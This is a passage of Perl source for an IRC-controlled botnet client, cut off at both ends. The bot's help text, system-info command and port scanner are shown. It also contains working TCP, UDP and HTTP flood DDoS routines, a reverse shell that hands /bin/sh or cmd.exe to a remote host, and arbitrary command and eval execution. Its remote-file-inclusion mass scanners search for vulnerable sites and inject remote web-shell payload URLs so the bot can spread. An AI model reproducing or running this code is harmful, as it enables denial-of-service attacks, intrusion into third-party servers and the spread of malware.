      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscanner");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Or if you want too know all the commands type:");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@commands");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan Help");

}

if ($funcarg =~ /^ddos/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 There are 3 DDossers in this bot");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 UDPFlood, HTTPFlood and TCPFlood");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood <ip> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@httpflood <site> <time>");

}

if ($funcarg =~ /^rfiscan/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 This bot also contains a RFI Scanner.");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You have multiengine scan that contains :12G4o8o12g9l4e4,2Altavista4,7All7The7Web4,14A4S14K4 and 7AOL  ");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Or you can just scan with google ");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Commands :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@multiscan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@googlescan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can find strings here : http://www.xshqiptaretx.org/strings.txt ");

}

if ($funcarg =~ /^backconnect/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You use backconnect like this :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@back <ip><port>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");
}

if ($funcarg =~ /^shell/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 This bot has a integrated shell");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can use it in private but also public in the channel");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 In public channel just use : 7!bot cd tmp12 for example");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 For help with the linux commands type :!bot 7@linuxhelp");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");

}

if ($funcarg =~ /^portscanner/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 The portscanner is very easy to use just type the following :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscan <ip>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");
}

if ($funcarg =~ /^commands/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 You can use the following commands :");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscan <ip>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@back <ip><port>");   
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot cd tmp 12 for example");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood <ip> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@tcpflood <ip> <port> <packet size> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@httpflood <site> <time>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@linuxhelp");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@multiscan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@googlescan <vuln> <dork>");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@system");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@milw0rm");   
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@join #channel");   
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@part #channel");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 System Scan ");
}

if ($funcarg =~ /^linuxhelp/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Dir where you are : pwd");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Start a Perl file : perl file.pl");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Go back from dir : cd ..");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Force to Remove a file/dir : rm -rf file/dir;ls -la");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Show all files/dir with permissions : ls -lia");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find config.inc.php files : find / -type f -name config.inc.php");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all writable folders and files : find / -perm -2 -ls");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all .htpasswd files : find / -type f -name .htpasswd");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4LiNuX12:.4| - 12 Find all service.pwd files : find / -type f -name service.pwd");
}

######################
#   End of  Help     #
#                    #
######################

######################
#     Commands       #
#                    #
######################

if ($funcarg =~ /^system/) {
  $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 The_PitBull");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #pitbull");
}

if ($funcarg =~ /^milw0rm/) {
      my @ltt=();
      my @bug=();
      my $x;
      my $page="";
      my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
      print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
      my @r = <$socke>;
      $page="@r";
      close($socke);
      while ($page =~  m/<title>(.*)</g){
      $x = $1;
      if ($x =~ /\&lt\;/) {
        $x =~ s/\&lt\;/</g;
        }
        if ($x !~ /milw0rm/) {
          push (@bug,$x);
          }}
          while ($page =~  m/<link.*expl.*([0-9]...)</g) {
            if ($1 !~ m/milw0rm.com|exploits|en/){
            push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
            }}
                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:9milw0rm12:.4|12 Latest exploits :");
            foreach $x (0..(@ltt - 1)) {
                  sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:9milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
              sleep 1;
          }}
          ########################################################################################################################
          # ______   __              ___    _   __    ___          __   __                                                       #
          #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
          # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
          #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
          #                                                                                                                      #
          ########################################################################################################################
          ######################
          #      Portscan      #
          #                    #
          ######################

          if ($funcarg =~ /^portscan (.*)/) {
            my $hostip="$1";
            my
            @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
            my (@aberta, %porta_banner);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Scanning for open ports on 4".$1." 12 started .");
            foreach my $porta (@portas)  {
              my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
              'tcp', Timeout => 4);
              if ($scansock) {
                push (@aberta, $porta);
                $scansock->close;
              }
            }

            if (@aberta) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Open ports founded: @aberta");
              } else {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Port Scan12:.4|12 No open ports foundend.");
            }
          }

          ######################
          #  End of  Portscan  #
          #                    #
          ######################
          ########################################################################################################################
          # ______   __              ___    _   __    ___          __   __                                                       #
          #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
          # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
          #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
          #                                                                                                                      #
          ########################################################################################################################
          ######################
          #  Join And Part     #
          #                    #
          ######################
          if ($funcarg =~ /^join (.*)/) {
            sendraw($IRC_cur_socket, "JOIN ".$1);
          }
          if ($funcarg =~ /^part (.*)/) {
            sendraw($IRC_cur_socket, "PART ".$1);
          }
                    
          ######################
          #End of Join And Part#
          #                    #
          ######################
          ########################################################################################################################
          # ______   __              ___    _   __    ___          __   __                                                       #
          #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
          # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
          #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
          #                                                                                                                      #
          ########################################################################################################################
          ######################
          #     TCPFlood       #
          #                    #
          ######################

          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4TCP DDos12:.4|12 Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
            my $itime = time;
            my ($cur_time);
            $cur_time = time - $itime;
            while ($3>$cur_time){
            $cur_time = time - $itime;
            &tcpflooder("$1","$2","$3");
          }
          sendraw($IRC_cur_socket,"PRIVMSG $printl :4|12.:4TCP DDos12:.4| 12Attack done 4 ".$1.":".$2.".");
        }
        ######################
        #  End of TCPFlood   #
        #                    #
        ######################
        ########################################################################################################################
        # ______   __              ___    _   __    ___          __   __                                                       #
        #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
        # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
        #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
        #                                                                                                                      #
        ########################################################################################################################
        ######################
        #   Back Connect     #
        #                    #
        ######################
        if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
          my $host = "$1";
          my $porta = "$2";
          my $proto = getprotobyname('tcp');
          my $iaddr = inet_aton($host);
          my $paddr = sockaddr_in($porta, $iaddr);
          my $shell = "/bin/sh -i";
          if ($^O eq "MSWin32") {
            $shell = "cmd.exe";
          }
          socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
          connect(SOCKET, $paddr) or die "connect: $!";
          open(STDIN, ">&SOCKET");
          open(STDOUT, ">&SOCKET");
          open(STDERR, ">&SOCKET");
          system("$shell");
          close(STDIN);
          close(STDOUT);
          close(STDERR);
          if ($estatisticas)
          {
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4BackConnect12:.4|12 Connecting to 4 $host:$porta");
          }
        }
        ######################
        #End of  Back Connect#
        #                    #
        ######################
        ########################################################################################################################
        # ______   __              ___    _   __    ___          __   __                                                       #
        #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
        # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
        #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
        #                                                                                                                      #
        ########################################################################################################################
        ######################
        #    MULTI SCANNER   #
        #                    #
        ######################
        if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
        if (my $pid = fork) {
          waitpid($pid, 0);
          } else {
          if (fork) {
            exit;
            } else {
            my $bug=$1;
            my $dork=$2;
            my $contatore=0;
            my ($type,$space);
            my %hosts;
            ### Start Message
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Starting Scan for 4$bug 12$dork");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Initializing on 45 12Search Engines ");
            ### End of Start Message
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:12G4o8o12g9l4e12:.4|412 Started4");
            my @glist=&google($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:2Altavista:.4|412 Started4");
            my @alist=&altavista($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:7All7The7Web:.4|412 Started4");
            my @allist=&alltheweb($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:14A4S14K:.4|412 Started4");
            my @asklist=&ask($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:7AOL:.4|412 Started4");
            my @aollist=&aol($dork);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Results for $dork");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 12G4o8o12g9l4e4 ".scalar(@glist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 2Altavista4 ".scalar(@alist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 7All7The7Web4 ".scalar(@allist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 14A4S14K4 ".scalar(@asklist)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 7AOL ".scalar(@aollist)." 12Sites");
            push(my @tot, @glist, @ylist, @alist, @allist, @asklist, @aollist);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Total Results4 ".scalar(@tot)." 12Sites");
            my @puliti=&unici(@tot);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting Started For ".scalar(@puliti)." 12Sites");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting");
            my $uni=scalar(@puliti);
            foreach my $sito (@puliti)
            {
              $contatore++;
              if ($contatore %30==0){
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting4 ".$contatore." 12of4 ".$uni. " 12Sites");
            }
            if ($contatore==$uni-1){
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4| Finished for $bug $dork");
          }
          ### Print CMD and TEST CMD d0nt change the TEST cmd !........###
          my $test="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
          my $print="http://".$sito.$bug."http://www.thiaguinho.net/Scanr0x/r57.txt"."?";
          ### End of Print CMD and TEST CMD d0nt change the TEST cmd !.###
          my $req=HTTP::Request->new(GET=>$test);
          my $ua=LWP::UserAgent->new();
          $ua->timeout(5);
          my $response=$ua->request($req);
          if ($response->is_success) {
            my $re=$response->content;
            if($re =~ /31337/ && $re =~ /uid=/){
            my $hs=geths($print); $hosts{$hs}++;
            if($hosts{$hs}=="1"){
            $x=os($test);
            ($type,$space)=split(/\,/,$x);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 4OFF12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print ");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
            my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
            my $reqz=HTTP::Request->new(GET=>$test2);
            my $ua=LWP::UserAgent->new();
            my $response=$ua->request($reqz);
            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
            }}
            elsif($re =~ /31337/)
            {
              my $hs=geths($print); $hosts{$hs}++;
              if($hosts{$hs}=="1"){
              $x=os($test);
              ($type,$space)=split(/\,/,$x);
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 3ON12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print  ");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
              my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
              my $reqz=HTTP::Request->new(GET=>$test2);
              my $ua=LWP::UserAgent->new();
              my $response=$ua->request($reqz);
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
              }}
              }}}
              exit;
              }}}
              ######################
              #End of MultiSCANNER #
              #                    #
              ######################
              ########################################################################################################################
              # ______   __              ___    _   __    ___          __   __                                                       #
              #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
              # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
              #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
              #                                                                                                                      #
              ########################################################################################################################
              ######################
              #    GOOGLESCANNER   #
              #                    #
              ######################
              if ($funcarg =~ /^googlescan\s+(.*?)\s+(.*)/){
              if (my $pid = fork) {
                    waitpid($pid, 0);
                    } else {
                      if (fork) {
                        exit;
                        } else {
                          my $bug=$1;
                          my $dork=$2;
                          my $contatore=0;
                          my ($type,$space);
                          my %hosts;
                              ### Start Message
                              sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Starting 12G4o8o12g9l4e12Scan for 4$bug 12$dork");
                              ### End of Start Message       
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:12G4o8o12g9l4e12:.4|412 Started4");
                              my @glist=&google($dork);
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Results for $dork");
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 12G4o8o12g9l4e4 ".scalar(@glist)." 12Sites");
                              push(my @tot, @glist);
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Filtering Cleaned results of 4 ".scalar(@tot)." 12Sites");
                              my @puliti=&unici(@tot);
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Cleaned Results ".scalar(@puliti)." 12Sites");   
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting Started");
                              my $uni=scalar(@puliti);
                              foreach my $sito (@puliti)
                              {
                              $contatore++;
                              if ($contatore %30==0){
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting4 ".$contatore." 12of4 ".$uni. " 12Sites");
                              }
                              if ($contatore==$uni-1){
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4| Finished for $bug $dork");
                          }
                              ### Print CMD and TEST CMD d0nt change the TEST cmd !........###
                              my $test="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
                              my $print="http://".$sito.$bug."http://www.thiaguinho.net/Scanr0x/r57.txt"."?";
                              ### End of Print CMD and TEST CMD d0nt change the TEST cmd !.###
                          my $req=HTTP::Request->new(GET=>$test);
                          my $ua=LWP::UserAgent->new();
                              $ua->timeout(5);
                              my $response=$ua->request($req);
                              if ($response->is_success) {
                                my $re=$response->content;
                                if($re =~ /31337/ && $re =~ /uid=/){
                                my $hs=geths($print); $hosts{$hs}++;
                                if($hosts{$hs}=="1"){
                                $x=os($test);
                                ($type,$space)=split(/\,/,$x);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 4OFF12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print ");
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
                                my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
                                my $reqz=HTTP::Request->new(GET=>$test2);
                                my $ua=LWP::UserAgent->new();
                                my $response=$ua->request($reqz);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
                                }}
                                elsif($re =~ /31337/)
                                {
                                my $hs=geths($print); $hosts{$hs}++;
                                if($hosts{$hs}=="1"){
                                $x=os($test);
                                ($type,$space)=split(/\,/,$x);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Safe Mode = 3ON12:.4|12 Type: 4$type, 12Free: 4$space, 12Vuln: 4$print  ");
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Loading spread");
                                my $test2="http://".$sito.$bug."http://brant.3x.ro/test.txt?";
                                my $reqz=HTTP::Request->new(GET=>$test2);
                                my $ua=LWP::UserAgent->new();
                                my $response=$ua->request($reqz);
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Spread12:.4|12 Spread loaded");
                        }}
                        }}}
                        exit;
                        }}   
                        ######################
                        #End of GOOGLESCANNER#
                        #                    #
                        ######################
                        ########################################################################################################################
                        # ______   __              ___    _   __    ___          __   __                                                       #
                        #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
                        # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
                        #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
                        #                                                                                                                      #
                        ########################################################################################################################
                        ######################
                        #     HTTPFlood      #
                        #                    #
                        ######################
                        if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4HTTP DDos12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
                          my $itime = time;
                          my ($cur_time);
                          $cur_time = time - $itime;
                          while ($2>$cur_time){
                          $cur_time = time - $itime;
                          my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
                          print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
                          close($socket);
                        }
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4HTTP DDos12:.4|12 Attacking done 4 ".$1.".");
                      }
                      ######################
                      #  End of HTTPFlood  #
                      #                    #
                      ######################
                      ########################################################################################################################
                      # ______   __              ___    _   __    ___          __   __                                                       #
                      #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
                      # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
                      #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
                      #                                                                                                                      #
                      ########################################################################################################################
                      ######################
                      #     UDPFlood       #
                      #                    #
                      ######################
                      if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4UDP DDos12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
                        my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
                        $dtime = 1 if $dtime == 0;
                        my %bytes;
                        $bytes{igmp} = $2 * $pacotes{igmp};
                        $bytes{icmp} = $2 * $pacotes{icmp};
                        $bytes{o} = $2 * $pacotes{o};
                        $bytes{udp} = $2 * $pacotes{udp};
                        $bytes{tcp} = $2 * $pacotes{tcp};
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4UDP DDos12:.4|12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
                      }
                      exit;
                    }
                  }
                  ######################
                  #  End of Udpflood   #
                  #                    #
                  ######################


                  sub ircase {
                    my ($kem, $printl, $case) = @_;
                    if ($case =~ /^join (.*)/) {
                      j("$1");
                    }
                    if ($case =~ /^part (.*)/) {
                      p("$1");
                    }
                    if ($case =~ /^rejoin\s+(.*)/) {
                      my $chan = $1;
                      if ($chan =~ /^(\d+) (.*)/) {
                        for (my $ca = 1; $ca <= $1; $ca++ ) {
                          p("$2");
                          j("$2");
                        }
                      }
                      else {
                        p("$chan");
                        j("$chan");
                      }
                    }

                    if ($case =~ /^op/) {
                      op("$printl", "$kem") if $case eq "op";
                      my $oarg = substr($case, 3);
                      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
                    }

                    if ($case =~ /^deop/) {
                      deop("$printl", "$kem") if $case eq "deop";
                      my $oarg = substr($case, 5);
                      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
                    }

                    if ($case =~ /^msg\s+(\S+) (.*)/) {
                      msg("$1", "$2");
                    }

                    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
                      for (my $cf = 1; $cf <= $1; $cf++) {
                        msg("$2", "$3");
                      }
                    }

                    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
                      ctcp("$1", "$2");
                    }

                    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
                      for (my $cf = 1; $cf <= $1; $cf++) {
                        ctcp("$2", "$3");
                      }
                    }

                    if ($case =~ /^nick (.*)/) {
                      nick("$1");
                    }

                    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
                      conectar("$2", "$1", 6667);
                    }

                    if ($case =~ /^raw (.*)/) {
                      sendraw("$1");
                    }

                    if ($case =~ /^eval (.*)/) {
                      eval "$1";
                    }
                  }


                  sub shell {
                    my $printl=$_[0];
                    my $comando=$_[1];
                    if ($comando =~ /cd (.*)/) {
                      chdir("$1") || msg("$printl", "No such file or directory");
                      return;
                    }

                    elsif ($pid = fork) {
                      waitpid($pid, 0);
                    }
                    else {
                      if (fork) {
                        exit;

                        } else {
                        my @resp=`$comando 2>&1 3>&1`;
                        my $c=0;
                        foreach my $linha (@resp) {
                          $c++;
                          chop $linha;
                          sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
                          if ($c == "$linas_max") {
                            $c=0;
                            sleep $sleep;
                          }
                        }
                        exit;
                      }
                    }
                  }

                  sub tcpflooder {
                    my $itime = time;
                    my ($cur_time);
                    my ($ia,$pa,$proto,$j,$l,$t);
                    $ia=inet_aton($_[0]);
                    $pa=sockaddr_in($_[1],$ia);
                    $ftime=$_[2];
                    $proto=getprotobyname('tcp');
                    $j=0;$l=0;
                    $cur_time = time - $itime;
                    while ($l<1000){
                    $cur_time = time - $itime;
                    last if $cur_time >= $ftime;
                    $t="SOCK$l";
                    socket($t,PF_INET,SOCK_STREAM,$proto);
                    connect($t,$pa)||$j--;
                    $j++;$l++;
                  }
                  $l=0;
                  while ($l<1000){
                  $cur_time = time - $itime;
                  last if $cur_time >= $ftime;
                  $t="SOCK$l";
                  shutdown($t,2);
                  $l++;
                }
              }



              sub udpflooder {
                my $iaddr = inet_aton($_[0]);
                my $msg = 'A' x $_[1];
                my $ftime = $_[2];
